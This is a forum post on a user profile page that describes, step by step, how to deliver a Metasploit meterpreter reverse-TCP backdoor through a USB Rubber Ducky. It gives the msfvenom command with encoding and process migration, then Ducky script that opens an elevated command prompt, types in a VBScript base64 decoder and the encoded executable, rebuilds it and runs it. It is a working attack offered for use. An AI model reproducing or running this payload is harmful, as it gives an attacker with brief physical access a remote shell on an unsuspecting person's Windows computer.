Jump to content

miroatme

Members
  • Posts

    1
  • Joined

  • Last visited

Recent Profile Visitors

329 profile views

miroatme's Achievements

Newbie

Newbie (1/14)

  1. So I have seen people having issues with doing a download of a meterpreter payload and getting it to run from the ducky. I went for a different approach. I decided to try to modify this script from the wiki (i think darren did a segment on it) in a different way. Here is what I came up with. Create the exe from msfvenom with the parms to connect the the metasploit handler Encode the exe with base64 Edit the encoding to be duckyfied Append the duckyfied encoded exe to met.txt Append last.txt to met.txt Duckyencoder to make the inject.bin Place on ducky sdcard ... win msfvenom -a x86 --platform windows \ -p windows/meterpreter/reverse_tcp \ LHOST=IP_ADDRESS \ LPORT=PORT \ PREPENDMIGRATE=true \ PREPENDMIGRATEPROC=notepad.exe \ ReverseConnectRetries=20 \ -b '\x00' \ -e x86/shikata_ga_nai \ -f exe |\ base64 > bad_exe.txt sed -e 's/^/STRING /' -e '/STRING/ a ENTER' bad_exe.txt >> met.txt cat last.txt >> met.txt java -jar encoder.jar -i met.txt -o inject.bin Contents of met.txt ESCAPE CONTROL ESCAPE DELAY 400 STRING cmd DELAY 400 MENU DELAY 400 STRING a DELAY 600 LEFTARROW ENTER DELAY 400 STRING copy con c:\decoder.vbs ENTER STRING Option Explicit:Dim arguments, inFile, outFile:Set arguments = WScript.Arguments:inFile = arguments(0) STRING :outFile = arguments(1):Dim base64Encoded, base64Decoded, outByteArray:dim objFS:dim objTS:set objFS = STRING CreateObject("Scripting.FileSystemObject"): ENTER STRING set objTS = objFS.OpenTextFile(inFile, 1):base64Encoded = STRING objTS.ReadAll:base64Decoded = decodeBase64(base64Encoded):writeBytes outFile, base64Decoded:private function STRING decodeBase64(base64): ENTER STRING dim DM, EL:Set DM = CreateObject("Microsoft.XMLDOM"):Set EL = DM.createElement("tmp"): STRING EL.DataType = "bin.base64":EL.Text = base64:decodeBase64 = EL.NodeTypedValue:end function:private Sub STRING writeBytes(file, bytes):Dim binaryStream: ENTER STRING Set binaryStream = CreateObject("ADODB.Stream"):binaryStream.Type = 1: STRING binaryStream.Open:binaryStream.Write bytes:binaryStream.SaveToFile file, 2:End Sub ENTER CTRL z ENTER STRING copy con c:\bad_exe.txt ENTER Contents of last.txt CTRL z ENTER STRING cscript c:\decoder.vbs c:\bad_exe.txt c:\bad.exe ENTER STRING c:\bad.exe ENTER STRING exit ENTER
×
×
  • Create New...